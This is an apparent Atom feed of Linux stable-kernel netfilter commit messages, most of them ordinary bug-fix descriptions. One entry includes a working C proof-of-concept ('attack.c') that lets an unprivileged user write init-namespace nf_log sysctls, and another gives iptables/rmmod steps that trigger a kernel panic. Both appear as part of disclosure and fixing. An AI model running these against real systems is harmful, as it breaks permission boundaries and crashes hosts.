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<title>linux-stable.git/net/netfilter, branch linux-3.10.y</title>
<subtitle>Linux kernel stable tree</subtitle>
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<entry>
<title>netfilter: xt_TCPMSS: add more sanity tests on tcph-&gt;doff</title>
<updated>2017-11-02T06:16:23+00:00</updated>
<author>
<name>Eric Dumazet</name>
<email>edumazet@google.com</email>
</author>
<published>2017-04-03T17:55:11+00:00</published>
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commit 2638fd0f92d4397884fd991d8f4925cb3f081901 upstream.

Denys provided an awesome KASAN report pointing to an use
after free in xt_TCPMSS

I have provided three patches to fix this issue, either in xt_TCPMSS or
in xt_tcpudp.c. It seems xt_TCPMSS patch has the smallest possible
impact.

Signed-off-by: Eric Dumazet &lt;edumazet@google.com&gt;
Reported-by: Denys Fedoryshchenko &lt;nuclearcat@nuclearcat.com&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
[wt: adjust context]

Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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<pre>
commit 2638fd0f92d4397884fd991d8f4925cb3f081901 upstream.

Denys provided an awesome KASAN report pointing to an use
after free in xt_TCPMSS

I have provided three patches to fix this issue, either in xt_TCPMSS or
in xt_tcpudp.c. It seems xt_TCPMSS patch has the smallest possible
impact.

Signed-off-by: Eric Dumazet &lt;edumazet@google.com&gt;
Reported-by: Denys Fedoryshchenko &lt;nuclearcat@nuclearcat.com&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
[wt: adjust context]

Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
</pre>
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</content>
</entry>
<entry>
<title>netfilter: nf_ct_ext: fix possible panic after nf_ct_extend_unregister</title>
<updated>2017-11-02T06:16:21+00:00</updated>
<author>
<name>Liping Zhang</name>
<email>zlpnobody@gmail.com</email>
</author>
<published>2017-03-25T08:35:29+00:00</published>
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commit 9c3f3794926a997b1cab6c42480ff300efa2d162 upstream.

If one cpu is doing nf_ct_extend_unregister while another cpu is doing
__nf_ct_ext_add_length, then we may hit BUG_ON(t == NULL). Moreover,
there's no synchronize_rcu invocation after set nf_ct_ext_types[id] to
NULL, so it's possible that we may access invalid pointer.

But actually, most of the ct extends are built-in, so the problem listed
above will not happen. However, there are two exceptions: NF_CT_EXT_NAT
and NF_CT_EXT_SYNPROXY.

For _EXT_NAT, the panic will not happen, since adding the nat extend and
unregistering the nat extend are located in the same file(nf_nat_core.c),
this means that after the nat module is removed, we cannot add the nat
extend too.

For _EXT_SYNPROXY, synproxy extend may be added by init_conntrack, while
synproxy extend unregister will be done by synproxy_core_exit. So after
nf_synproxy_core.ko is removed, we may still try to add the synproxy
extend, then kernel panic may happen.

I know it's very hard to reproduce this issue, but I can play a tricky
game to make it happen very easily :)

Step 1. Enable SYNPROXY for tcp dport 1234 at FORWARD hook:
  # iptables -I FORWARD -p tcp --dport 1234 -j SYNPROXY
Step 2. Queue the syn packet to the userspace at raw table OUTPUT hook.
        Also note, in the userspace we only add a 20s' delay, then
        reinject the syn packet to the kernel:
  # iptables -t raw -I OUTPUT -p tcp --syn -j NFQUEUE --queue-num 1
Step 3. Using "nc 2.2.2.2 1234" to connect the server.
Step 4. Now remove the nf_synproxy_core.ko quickly:
  # iptables -F FORWARD
  # rmmod ipt_SYNPROXY
  # rmmod nf_synproxy_core
Step 5. After 20s' delay, the syn packet is reinjected to the kernel.

Now you will see the panic like this:
  kernel BUG at net/netfilter/nf_conntrack_extend.c:91!
  Call Trace:
   ? __nf_ct_ext_add_length+0x53/0x3c0 [nf_conntrack]
   init_conntrack+0x12b/0x600 [nf_conntrack]
   nf_conntrack_in+0x4cc/0x580 [nf_conntrack]
   ipv4_conntrack_local+0x48/0x50 [nf_conntrack_ipv4]
   nf_reinject+0x104/0x270
   nfqnl_recv_verdict+0x3e1/0x5f9 [nfnetlink_queue]
   ? nfqnl_recv_verdict+0x5/0x5f9 [nfnetlink_queue]
   ? nla_parse+0xa0/0x100
   nfnetlink_rcv_msg+0x175/0x6a9 [nfnetlink]
   [...]

One possible solution is to make NF_CT_EXT_SYNPROXY extend built-in, i.e.
introduce nf_conntrack_synproxy.c and only do ct extend register and
unregister in it, similar to nf_conntrack_timeout.c.

But having such a obscure restriction of nf_ct_extend_unregister is not a
good idea, so we should invoke synchronize_rcu after set nf_ct_ext_types
to NULL, and check the NULL pointer when do __nf_ct_ext_add_length. Then
it will be easier if we add new ct extend in the future.

Last, we use kfree_rcu to free nf_ct_ext, so rcu_barrier() is unnecessary
anymore, remove it too.

Signed-off-by: Liping Zhang &lt;zlpnobody@gmail.com&gt;
Acked-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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<pre>
commit 9c3f3794926a997b1cab6c42480ff300efa2d162 upstream.

If one cpu is doing nf_ct_extend_unregister while another cpu is doing
__nf_ct_ext_add_length, then we may hit BUG_ON(t == NULL). Moreover,
there's no synchronize_rcu invocation after set nf_ct_ext_types[id] to
NULL, so it's possible that we may access invalid pointer.

But actually, most of the ct extends are built-in, so the problem listed
above will not happen. However, there are two exceptions: NF_CT_EXT_NAT
and NF_CT_EXT_SYNPROXY.

For _EXT_NAT, the panic will not happen, since adding the nat extend and
unregistering the nat extend are located in the same file(nf_nat_core.c),
this means that after the nat module is removed, we cannot add the nat
extend too.

For _EXT_SYNPROXY, synproxy extend may be added by init_conntrack, while
synproxy extend unregister will be done by synproxy_core_exit. So after
nf_synproxy_core.ko is removed, we may still try to add the synproxy
extend, then kernel panic may happen.

I know it's very hard to reproduce this issue, but I can play a tricky
game to make it happen very easily :)

Step 1. Enable SYNPROXY for tcp dport 1234 at FORWARD hook:
  # iptables -I FORWARD -p tcp --dport 1234 -j SYNPROXY
Step 2. Queue the syn packet to the userspace at raw table OUTPUT hook.
        Also note, in the userspace we only add a 20s' delay, then
        reinject the syn packet to the kernel:
  # iptables -t raw -I OUTPUT -p tcp --syn -j NFQUEUE --queue-num 1
Step 3. Using "nc 2.2.2.2 1234" to connect the server.
Step 4. Now remove the nf_synproxy_core.ko quickly:
  # iptables -F FORWARD
  # rmmod ipt_SYNPROXY
  # rmmod nf_synproxy_core
Step 5. After 20s' delay, the syn packet is reinjected to the kernel.

Now you will see the panic like this:
  kernel BUG at net/netfilter/nf_conntrack_extend.c:91!
  Call Trace:
   ? __nf_ct_ext_add_length+0x53/0x3c0 [nf_conntrack]
   init_conntrack+0x12b/0x600 [nf_conntrack]
   nf_conntrack_in+0x4cc/0x580 [nf_conntrack]
   ipv4_conntrack_local+0x48/0x50 [nf_conntrack_ipv4]
   nf_reinject+0x104/0x270
   nfqnl_recv_verdict+0x3e1/0x5f9 [nfnetlink_queue]
   ? nfqnl_recv_verdict+0x5/0x5f9 [nfnetlink_queue]
   ? nla_parse+0xa0/0x100
   nfnetlink_rcv_msg+0x175/0x6a9 [nfnetlink]
   [...]

One possible solution is to make NF_CT_EXT_SYNPROXY extend built-in, i.e.
introduce nf_conntrack_synproxy.c and only do ct extend register and
unregister in it, similar to nf_conntrack_timeout.c.

But having such a obscure restriction of nf_ct_extend_unregister is not a
good idea, so we should invoke synchronize_rcu after set nf_ct_ext_types
to NULL, and check the NULL pointer when do __nf_ct_ext_add_length. Then
it will be easier if we add new ct extend in the future.

Last, we use kfree_rcu to free nf_ct_ext, so rcu_barrier() is unnecessary
anymore, remove it too.

Signed-off-by: Liping Zhang &lt;zlpnobody@gmail.com&gt;
Acked-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
</pre>
</div>
</content>
</entry>
<entry>
<title>netfilter: invoke synchronize_rcu after set the _hook_ to NULL</title>
<updated>2017-11-02T06:16:19+00:00</updated>
<author>
<name>Liping Zhang</name>
<email>zlpnobody@gmail.com</email>
</author>
<published>2017-03-25T00:53:12+00:00</published>
<link rel='alternate' type='text/html' href='https://git.tavy.me/linux-stable.git/commit/?id=09ab11ebb7c1f9a66507e382aea696338304f83a'/>
<id>09ab11ebb7c1f9a66507e382aea696338304f83a</id>
<content type='text'>
commit 3b7dabf029478bb80507a6c4500ca94132a2bc0b upstream.

Otherwise, another CPU may access the invalid pointer. For example:
    CPU0                CPU1
     -              rcu_read_lock();
     -              pfunc = _hook_;
  _hook_ = NULL;          -
  mod unload              -
     -                 pfunc(); // invalid, panic
     -             rcu_read_unlock();

So we must call synchronize_rcu() to wait the rcu reader to finish.

Also note, in nf_nat_snmp_basic_fini, synchronize_rcu() will be invoked
by later nf_conntrack_helper_unregister, but I'm inclined to add a
explicit synchronize_rcu after set the nf_nat_snmp_hook to NULL. Depend
on such obscure assumptions is not a good idea.

Last, in nfnetlink_cttimeout, we use kfree_rcu to free the time object,
so in cttimeout_exit, invoking rcu_barrier() is not necessary at all,
remove it too.

Signed-off-by: Liping Zhang &lt;zlpnobody@gmail.com&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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<pre>
commit 3b7dabf029478bb80507a6c4500ca94132a2bc0b upstream.

Otherwise, another CPU may access the invalid pointer. For example:
    CPU0                CPU1
     -              rcu_read_lock();
     -              pfunc = _hook_;
  _hook_ = NULL;          -
  mod unload              -
     -                 pfunc(); // invalid, panic
     -             rcu_read_unlock();

So we must call synchronize_rcu() to wait the rcu reader to finish.

Also note, in nf_nat_snmp_basic_fini, synchronize_rcu() will be invoked
by later nf_conntrack_helper_unregister, but I'm inclined to add a
explicit synchronize_rcu after set the nf_nat_snmp_hook to NULL. Depend
on such obscure assumptions is not a good idea.

Last, in nfnetlink_cttimeout, we use kfree_rcu to free the time object,
so in cttimeout_exit, invoking rcu_barrier() is not necessary at all,
remove it too.

Signed-off-by: Liping Zhang &lt;zlpnobody@gmail.com&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
</pre>
</div>
</content>
</entry>
<entry>
<title>ipvs: SNAT packet replies only for NATed connections</title>
<updated>2017-11-01T21:12:41+00:00</updated>
<author>
<name>Julian Anastasov</name>
<email>ja@ssi.bg</email>
</author>
<published>2017-07-17T06:59:52+00:00</published>
<link rel='alternate' type='text/html' href='https://git.tavy.me/linux-stable.git/commit/?id=f0dce905083a69988d3d6f68a45e37dc9e815c7e'/>
<id>f0dce905083a69988d3d6f68a45e37dc9e815c7e</id>
<content type='text'>
commit 3c5ab3f395d66a9e4e937fcfdf6ebc63894f028b upstream.

We do not check if packet from real server is for NAT
connection before performing SNAT. This causes problems
for setups that use DR/TUN and allow local clients to
access the real server directly, for example:

- local client in director creates IPVS-DR/TUN connection
CIP-&gt;VIP and the request packets are routed to RIP.
Talks are finished but IPVS connection is not expired yet.

- second local client creates non-IPVS connection CIP-&gt;RIP
with same reply tuple RIP-&gt;CIP and when replies are received
on LOCAL_IN we wrongly assign them for the first client
connection because RIP-&gt;CIP matches the reply direction.
As result, IPVS SNATs replies for non-IPVS connections.

The problem is more visible to local UDP clients but in rare
cases it can happen also for TCP or remote clients when the
real server sends the reply traffic via the director.

So, better to be more precise for the reply traffic.
As replies are not expected for DR/TUN connections, better
to not touch them.

Reported-by: Nick Moriarty &lt;nick.moriarty@york.ac.uk&gt;
Signed-off-by: Julian Anastasov &lt;ja@ssi.bg&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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commit 3c5ab3f395d66a9e4e937fcfdf6ebc63894f028b upstream.

We do not check if packet from real server is for NAT
connection before performing SNAT. This causes problems
for setups that use DR/TUN and allow local clients to
access the real server directly, for example:

- local client in director creates IPVS-DR/TUN connection
CIP-&gt;VIP and the request packets are routed to RIP.
Talks are finished but IPVS connection is not expired yet.

- second local client creates non-IPVS connection CIP-&gt;RIP
with same reply tuple RIP-&gt;CIP and when replies are received
on LOCAL_IN we wrongly assign them for the first client
connection because RIP-&gt;CIP matches the reply direction.
As result, IPVS SNATs replies for non-IPVS connections.

The problem is more visible to local UDP clients but in rare
cases it can happen also for TCP or remote clients when the
real server sends the reply traffic via the director.

So, better to be more precise for the reply traffic.
As replies are not expected for DR/TUN connections, better
to not touch them.

Reported-by: Nick Moriarty &lt;nick.moriarty@york.ac.uk&gt;
Signed-off-by: Julian Anastasov &lt;ja@ssi.bg&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
</pre>
</div>
</content>
</entry>
<entry>
<title>netfilter: fix namespace handling in nf_log_proc_dostring</title>
<updated>2017-02-10T10:03:51+00:00</updated>
<author>
<name>Jann Horn</name>
<email>jann@thejh.net</email>
</author>
<published>2016-09-18T19:40:55+00:00</published>
<link rel='alternate' type='text/html' href='https://git.tavy.me/linux-stable.git/commit/?id=b53cc178e2a88c7f10213269ba111bda4d4a77b7'/>
<id>b53cc178e2a88c7f10213269ba111bda4d4a77b7</id>
<content type='text'>
commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.

nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.

Stash the "struct net *" in extra2 - data and extra1 are already used.

Repro code:

#define _GNU_SOURCE
#include &lt;stdlib.h&gt;
#include &lt;sched.h&gt;
#include &lt;err.h&gt;
#include &lt;sys/mount.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;
#include &lt;stdio.h&gt;

char child_stack[1000000];

uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;

void writefile(char *path, char *buf) {
        int fd = open(path, O_WRONLY);
        if (fd == -1)
                err(1, "unable to open thing");
        if (write(fd, buf, strlen(buf)) != strlen(buf))
                err(1, "unable to write thing");
        close(fd);
}

int child_fn(void *p_) {
        if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                  NULL))
                err(1, "mount");

        /* Yes, we need to set the maps for the net sysctls to recognize us
         * as namespace root.
         */
        char buf[1000];
        sprintf(buf, "0 %d 1\n", (int)outer_uid);
        writefile("/proc/1/uid_map", buf);
        writefile("/proc/1/setgroups", "deny");
        sprintf(buf, "0 %d 1\n", (int)outer_gid);
        writefile("/proc/1/gid_map", buf);

        stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
        if (stolen_fd == -1)
                err(1, "open nf_log");
        return 0;
}

int main(void) {
        outer_uid = getuid();
        outer_gid = getgid();

        int child = clone(child_fn, child_stack + sizeof(child_stack),
                          CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                          |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
        if (child == -1)
                err(1, "clone");
        int status;
        if (wait(&amp;status) != child)
                err(1, "wait");
        if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                errx(1, "child exit status bad");

        char *data = "NONE";
        if (write(stolen_fd, data, strlen(data)) != strlen(data))
                err(1, "write");
        return 0;
}

Repro:

$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE

Because this looks like an issue with very low severity, I'm sending it to
the public list directly.

Signed-off-by: Jann Horn &lt;jann@thejh.net&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.

nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.

Stash the "struct net *" in extra2 - data and extra1 are already used.

Repro code:

#define _GNU_SOURCE
#include &lt;stdlib.h&gt;
#include &lt;sched.h&gt;
#include &lt;err.h&gt;
#include &lt;sys/mount.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;
#include &lt;stdio.h&gt;

char child_stack[1000000];

uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;

void writefile(char *path, char *buf) {
        int fd = open(path, O_WRONLY);
        if (fd == -1)
                err(1, "unable to open thing");
        if (write(fd, buf, strlen(buf)) != strlen(buf))
                err(1, "unable to write thing");
        close(fd);
}

int child_fn(void *p_) {
        if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                  NULL))
                err(1, "mount");

        /* Yes, we need to set the maps for the net sysctls to recognize us
         * as namespace root.
         */
        char buf[1000];
        sprintf(buf, "0 %d 1\n", (int)outer_uid);
        writefile("/proc/1/uid_map", buf);
        writefile("/proc/1/setgroups", "deny");
        sprintf(buf, "0 %d 1\n", (int)outer_gid);
        writefile("/proc/1/gid_map", buf);

        stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
        if (stolen_fd == -1)
                err(1, "open nf_log");
        return 0;
}

int main(void) {
        outer_uid = getuid();
        outer_gid = getgid();

        int child = clone(child_fn, child_stack + sizeof(child_stack),
                          CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                          |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
        if (child == -1)
                err(1, "clone");
        int status;
        if (wait(&amp;status) != child)
                err(1, "wait");
        if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                errx(1, "child exit status bad");

        char *data = "NONE";
        if (write(stolen_fd, data, strlen(data)) != strlen(data))
                err(1, "write");
        return 0;
}

Repro:

$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE

Because this looks like an issue with very low severity, I'm sending it to
the public list directly.

Signed-off-by: Jann Horn &lt;jann@thejh.net&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
</pre>
</div>
</content>
</entry>
<entry>
<title>ipvs: count pre-established TCP states as active</title>
<updated>2017-02-10T10:03:48+00:00</updated>
<author>
<name>Michal Kubecek</name>
<email>mkubecek@suse.cz</email>
</author>
<published>2016-06-03T15:56:50+00:00</published>
<link rel='alternate' type='text/html' href='https://git.tavy.me/linux-stable.git/commit/?id=d53b66097ef0ed4569016c7241fc5a9a91c5f488'/>
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<content type='text'>
commit be2cef49904b34dd5f75d96bbc8cd8341bab1bc0 upstream.

Some users observed that "least connection" distribution algorithm doesn't
handle well bursts of TCP connections from reconnecting clients after
a node or network failure.

This is because the algorithm counts active connection as worth 256
inactive ones where for TCP, "active" only means TCP connections in
ESTABLISHED state. In case of a connection burst, new connections are
handled before previous ones have finished the three way handshaking so
that all are still counted as "inactive", i.e. cheap ones. The become
"active" quickly but at that time, all of them are already assigned to one
real server (or few), resulting in highly unbalanced distribution.

Address this by counting the "pre-established" states as "active".

Signed-off-by: Michal Kubecek &lt;mkubecek@suse.cz&gt;
Acked-by: Julian Anastasov &lt;ja@ssi.bg&gt;
Signed-off-by: Simon Horman &lt;horms@verge.net.au&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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commit be2cef49904b34dd5f75d96bbc8cd8341bab1bc0 upstream.

Some users observed that "least connection" distribution algorithm doesn't
handle well bursts of TCP connections from reconnecting clients after
a node or network failure.

This is because the algorithm counts active connection as worth 256
inactive ones where for TCP, "active" only means TCP connections in
ESTABLISHED state. In case of a connection burst, new connections are
handled before previous ones have finished the three way handshaking so
that all are still counted as "inactive", i.e. cheap ones. The become
"active" quickly but at that time, all of them are already assigned to one
real server (or few), resulting in highly unbalanced distribution.

Address this by counting the "pre-established" states as "active".

Signed-off-by: Michal Kubecek &lt;mkubecek@suse.cz&gt;
Acked-by: Julian Anastasov &lt;ja@ssi.bg&gt;
Signed-off-by: Simon Horman &lt;horms@verge.net.au&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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<entry>
<title>netfilter: x_tables: introduce and use xt_copy_counters_from_user</title>
<updated>2016-08-21T21:22:32+00:00</updated>
<author>
<name>Florian Westphal</name>
<email>fw@strlen.de</email>
</author>
<published>2016-04-01T13:37:59+00:00</published>
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commit 63ecb81aadf1c823c85c70a2bfd1ec9df3341a72 upstream.

commit d7591f0c41ce3e67600a982bab6989ef0f07b3ce upstream

The three variants use same copy&amp;pasted code, condense this into a
helper and use that.

Make sure info.name is 0-terminated.

Signed-off-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@linuxfoundation.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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commit 63ecb81aadf1c823c85c70a2bfd1ec9df3341a72 upstream.

commit d7591f0c41ce3e67600a982bab6989ef0f07b3ce upstream

The three variants use same copy&amp;pasted code, condense this into a
helper and use that.

Make sure info.name is 0-terminated.

Signed-off-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@linuxfoundation.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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<entry>
<title>netfilter: x_tables: do compat validation via translate_table</title>
<updated>2016-08-21T21:22:31+00:00</updated>
<author>
<name>Florian Westphal</name>
<email>fw@strlen.de</email>
</author>
<published>2016-04-01T12:17:34+00:00</published>
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commit 09d9686047dbbe1cf4faa558d3ecc4aae2046054 upstream.

This looks like refactoring, but its also a bug fix.

Problem is that the compat path (32bit iptables, 64bit kernel) lacks a few
sanity tests that are done in the normal path.

For example, we do not check for underflows and the base chain policies.

While its possible to also add such checks to the compat path, its more
copy&amp;pastry, for instance we cannot reuse check_underflow() helper as
e-&gt;target_offset differs in the compat case.

Other problem is that it makes auditing for validation errors harder; two
places need to be checked and kept in sync.

At a high level 32 bit compat works like this:
1- initial pass over blob:
   validate match/entry offsets, bounds checking
   lookup all matches and targets
   do bookkeeping wrt. size delta of 32/64bit structures
   assign match/target.u.kernel pointer (points at kernel
   implementation, needed to access -&gt;compatsize etc.)

2- allocate memory according to the total bookkeeping size to
   contain the translated ruleset

3- second pass over original blob:
   for each entry, copy the 32bit representation to the newly allocated
   memory.  This also does any special match translations (e.g.
   adjust 32bit to 64bit longs, etc).

4- check if ruleset is free of loops (chase all jumps)

5-first pass over translated blob:
   call the checkentry function of all matches and targets.

The alternative implemented by this patch is to drop steps 3&amp;4 from the
compat process, the translation is changed into an intermediate step
rather than a full 1:1 translate_table replacement.

In the 2nd pass (step #3), change the 64bit ruleset back to a kernel
representation, i.e. put() the kernel pointer and restore -&gt;u.user.name .

This gets us a 64bit ruleset that is in the format generated by a 64bit
iptables userspace -- we can then use translate_table() to get the
'native' sanity checks.

This has two drawbacks:

1. we re-validate all the match and target entry structure sizes even
though compat translation is supposed to never generate bogus offsets.
2. we put and then re-lookup each match and target.

THe upside is that we get all sanity tests and ruleset validations
provided by the normal path and can remove some duplicated compat code.

iptables-restore time of autogenerated ruleset with 300k chains of form
-A CHAIN0001 -m limit --limit 1/s -j CHAIN0002
-A CHAIN0002 -m limit --limit 1/s -j CHAIN0003

shows no noticeable differences in restore times:
old:   0m30.796s
new:   0m31.521s
64bit: 0m25.674s

Signed-off-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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commit 09d9686047dbbe1cf4faa558d3ecc4aae2046054 upstream.

This looks like refactoring, but its also a bug fix.

Problem is that the compat path (32bit iptables, 64bit kernel) lacks a few
sanity tests that are done in the normal path.

For example, we do not check for underflows and the base chain policies.

While its possible to also add such checks to the compat path, its more
copy&amp;pastry, for instance we cannot reuse check_underflow() helper as
e-&gt;target_offset differs in the compat case.

Other problem is that it makes auditing for validation errors harder; two
places need to be checked and kept in sync.

At a high level 32 bit compat works like this:
1- initial pass over blob:
   validate match/entry offsets, bounds checking
   lookup all matches and targets
   do bookkeeping wrt. size delta of 32/64bit structures
   assign match/target.u.kernel pointer (points at kernel
   implementation, needed to access -&gt;compatsize etc.)

2- allocate memory according to the total bookkeeping size to
   contain the translated ruleset

3- second pass over original blob:
   for each entry, copy the 32bit representation to the newly allocated
   memory.  This also does any special match translations (e.g.
   adjust 32bit to 64bit longs, etc).

4- check if ruleset is free of loops (chase all jumps)

5-first pass over translated blob:
   call the checkentry function of all matches and targets.

The alternative implemented by this patch is to drop steps 3&amp;4 from the
compat process, the translation is changed into an intermediate step
rather than a full 1:1 translate_table replacement.

In the 2nd pass (step #3), change the 64bit ruleset back to a kernel
representation, i.e. put() the kernel pointer and restore -&gt;u.user.name .

This gets us a 64bit ruleset that is in the format generated by a 64bit
iptables userspace -- we can then use translate_table() to get the
'native' sanity checks.

This has two drawbacks:

1. we re-validate all the match and target entry structure sizes even
though compat translation is supposed to never generate bogus offsets.
2. we put and then re-lookup each match and target.

THe upside is that we get all sanity tests and ruleset validations
provided by the normal path and can remove some duplicated compat code.

iptables-restore time of autogenerated ruleset with 300k chains of form
-A CHAIN0001 -m limit --limit 1/s -j CHAIN0002
-A CHAIN0002 -m limit --limit 1/s -j CHAIN0003

shows no noticeable differences in restore times:
old:   0m30.796s
new:   0m31.521s
64bit: 0m25.674s

Signed-off-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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</entry>
<entry>
<title>netfilter: x_tables: xt_compat_match_from_user doesn't need a retval</title>
<updated>2016-08-21T21:22:31+00:00</updated>
<author>
<name>Florian Westphal</name>
<email>fw@strlen.de</email>
</author>
<published>2016-04-01T12:17:33+00:00</published>
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commit 0188346f21e6546498c2a0f84888797ad4063fc5 upstream.

Always returned 0.

Signed-off-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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commit 0188346f21e6546498c2a0f84888797ad4063fc5 upstream.

Always returned 0.

Signed-off-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
</pre>
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</content>
</entry>
<entry>
<title>netfilter: x_tables: don't reject valid target size on some architectures</title>
<updated>2016-08-21T21:22:29+00:00</updated>
<author>
<name>Florian Westphal</name>
<email>fw@strlen.de</email>
</author>
<published>2016-06-01T00:04:44+00:00</published>
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commit 7b7eba0f3515fca3296b8881d583f7c1042f5226 upstream.

Quoting John Stultz:
  In updating a 32bit arm device from 4.6 to Linus' current HEAD, I
  noticed I was having some trouble with networking, and realized that
  /proc/net/ip_tables_names was suddenly empty.
  Digging through the registration process, it seems we're catching on the:

   if (strcmp(t-&gt;u.user.name, XT_STANDARD_TARGET) == 0 &amp;&amp;
       target_offset + sizeof(struct xt_standard_target) != next_offset)
         return -EINVAL;

  Where next_offset seems to be 4 bytes larger then the
  offset + standard_target struct size.

next_offset needs to be aligned via XT_ALIGN (so we can access all members
of ip(6)t_entry struct).

This problem didn't show up on i686 as it only needs 4-byte alignment for
u64, but iptables userspace on other 32bit arches does insert extra padding.

Reported-by: John Stultz &lt;john.stultz@linaro.org&gt;
Tested-by: John Stultz &lt;john.stultz@linaro.org&gt;
Fixes: 7ed2abddd20cf ("netfilter: x_tables: check standard target size too")
Signed-off-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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commit 7b7eba0f3515fca3296b8881d583f7c1042f5226 upstream.

Quoting John Stultz:
  In updating a 32bit arm device from 4.6 to Linus' current HEAD, I
  noticed I was having some trouble with networking, and realized that
  /proc/net/ip_tables_names was suddenly empty.
  Digging through the registration process, it seems we're catching on the:

   if (strcmp(t-&gt;u.user.name, XT_STANDARD_TARGET) == 0 &amp;&amp;
       target_offset + sizeof(struct xt_standard_target) != next_offset)
         return -EINVAL;

  Where next_offset seems to be 4 bytes larger then the
  offset + standard_target struct size.

next_offset needs to be aligned via XT_ALIGN (so we can access all members
of ip(6)t_entry struct).

This problem didn't show up on i686 as it only needs 4-byte alignment for
u64, but iptables userspace on other 32bit arches does insert extra padding.

Reported-by: John Stultz &lt;john.stultz@linaro.org&gt;
Tested-by: John Stultz &lt;john.stultz@linaro.org&gt;
Fixes: 7ed2abddd20cf ("netfilter: x_tables: check standard target size too")
Signed-off-by: Florian Westphal &lt;fw@strlen.de&gt;
Signed-off-by: Pablo Neira Ayuso &lt;pablo@netfilter.org&gt;
Signed-off-by: Willy Tarreau &lt;w@1wt.eu&gt;
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